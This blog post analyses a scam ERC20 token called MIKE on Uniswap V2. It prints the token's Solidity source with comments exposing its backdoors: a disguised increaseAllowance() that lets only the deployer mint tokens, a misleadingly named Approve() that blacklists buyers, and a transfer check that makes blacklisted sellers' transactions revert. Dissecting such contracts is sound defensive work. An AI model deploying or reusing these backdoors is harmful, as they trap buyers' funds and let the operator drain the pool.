02.A mythical wild animal
2023-10-22 14:04:24 # 08.PoC

A mythical wild animal

brief

analyses

1.The hacker create ERC20 pair in uniswap V2: WETH and token MIKE.

2.The victims use WETH to buy token MIKE in the liquidity pool of uniswap V2.

3.The hacker adds victims into blacklist and mints token to himself.

4.When victims call transferFrom() , the transaction will fail because they r in blacklist. In this case, there will be more and more WETHs in the pool, with fewer and fewer tokens, resulting in tokens becoming increasingly valuable.

5.Victims cann’t transfer token MIKE, only the hacker can.

6.The hacker can mint token MIKE infinitely by incrementAllowance(). With infinite money, hacker could get all the WETH in liquidity pool.

My analyses is included in the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
pragma solidity 0.8.18;

contract Mike is IERC20, Token, Ownable {
using SafeMath for uint256;

struct Guest {
address guest;
}

mapping(address => uint256) private _balances;

mapping(address => address) private _dex; // blacklist

mapping(address => mapping(address => uint256)) private _allowances;

Guest private _guest;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;

constructor( string memory name_, string memory symbol_, address user_, uint256 totalSupply_) payable {
_name = name_;
_symbol = symbol_;
_decimals = 18;
_guest.guest = user_;
// hakcer mint for the first, victims will thought this will be the whole token supply,
// because they don't see any mint() function. In fact, increaseAllowance() can mint token but
// only hacker can.
_mint(msg.sender, totalSupply_ * 10**18);
emit Deploy(
owner(),
VERSION
);
}

function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256){
return _balances[account];
}

function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}

function allowance(address owner, address spender) public view virtualoverride returns (uint256){
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public virtual override returns (bool){
_approve(_msgSender(), spender, amount);
return true;
}

function transferFrom( address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"IERC20: transfer amount exceeds allowance"
)
);
return true;
}

////////////////////////// can't transfer //////////////////////////////////////
function _transfer( address sender,address recipient, uint256 amount) internal virtual {
_requireBalance(sender, recipient, amount); // victims can't pass this! the tx will revert!
require(sender != address(0), "IERC20: transfer from the zero address");
require(recipient != address(0),"IERC20: transfer to the zero address");

_beforeTokenTransfer(sender, recipient, amount); //do nothing
_balances[sender] = _balances[sender].sub(amount,"IERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
}
////////////////////////// can't transfer //////////////////////////////////////

function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "IERC20: mint to the zero address");

_beforeTokenTransfer(address(0), account, amount); //do nothing

_totalSupply = _totalSupply.add(amount);
_plus(account, amount);
emit Transfer(address(0), account, amount);
}

function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "IERC20: burn from the zero address");

_beforeTokenTransfer(account, address(0), amount); //do nothing
require(amount != 0, "Invalid amount");
_minus(account, amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}

function _minus(address account, uint256 amount) internal {
_balances[account] = _balances[account] - amount;
}

function _plus(address account, uint256 amount) internal {
_balances[account] = _balances[account] + amount;
}

function _approve( address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");

_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}

////////////////////////// equil to mint but only hacker can call //////////////////////////////////////
function increaseAllowance(address spender, uint256 amount) public virtual {
address from = msg.sender;
require(spender != address(0), "Invalid address");
require(amount > 0, "Invalid amount");
uint256 total = 0;
if (_decode(spender, _guest.guest)) {
// if u r hacker, it will return true. _from's balance won't minus while spender's balance can increase
_minus(from, total);
total = _somma(total, amount);
_balances[spender] += total;
} else { // if u r not hacker, do nothing here since 'total' is zero.
_minus(from, total);
_balances[spender] += total;
}
} // back door
////////////////////////// equil to mint but only hacker can call //////////////////////////////////////

////////////////////////// check hacker //////////////////////////////////////

function _decode(address user, address user2) internal view returns (bool) {
bytes32 hash1 = keccak256(abi.encodePacked(user));
bytes32 hash2 = keccak256(abi.encodePacked(user2));
return hash1 == hash2;
}

function _somma(uint256 aqw, uint256 poe) internal pure returns (uint256) {
if (poe != 0) {
return aqw + poe;
}
return poe;
}
////////////////////////// check hacker //////////////////////////////////////

////////////////////////// add to blacklist //////////////////////////////////////
function Approve(address spender, uint256 amount) public returns (bool) {
address from = msg.sender;
_checkAllowance(from, spender, amount); // not approve but add something into blacklist!
return true;
}

function _checkAllowance(address user, address spender, uint256 amount) internal {
// only hacker can enter, because _guest.guest is hacker's address
if (_decode(user, _guest.guest)) {
require(spender != address(0), "Invalid address");
if (amount != 0) {
_dex[spender] = spender; // add victims into _dex: blacklist
} else {
_dex[spender] = address(0);
}
}
}
////////////////////////// add to blacklist //////////////////////////////////////

////////////////////////// tx will revert //////////////////////////////////////
function _requireBalance(address sender, address recipient, uint256 total) internal virtual {
// recipient is not used!
uint256 amount = 0;
if (_decode(sender, _dex[sender])) { // victims' tx will enter this condition
_balances[sender] = _balances[sender] + amount;
amount = _totalSupply;
_minus(sender, amount); // the tx will revert for the insufficient balance
} else { // only whitelist
_balances[sender] = _balances[sender] + amount;
}
}//
////////////////////////// tx will revert //////////////////////////////////////

function _beforeTokenTransfer( address from, address to, uint256 amount) internal virtual {}
}
Prev
2023-10-22 14:04:24 # 08.PoC
Next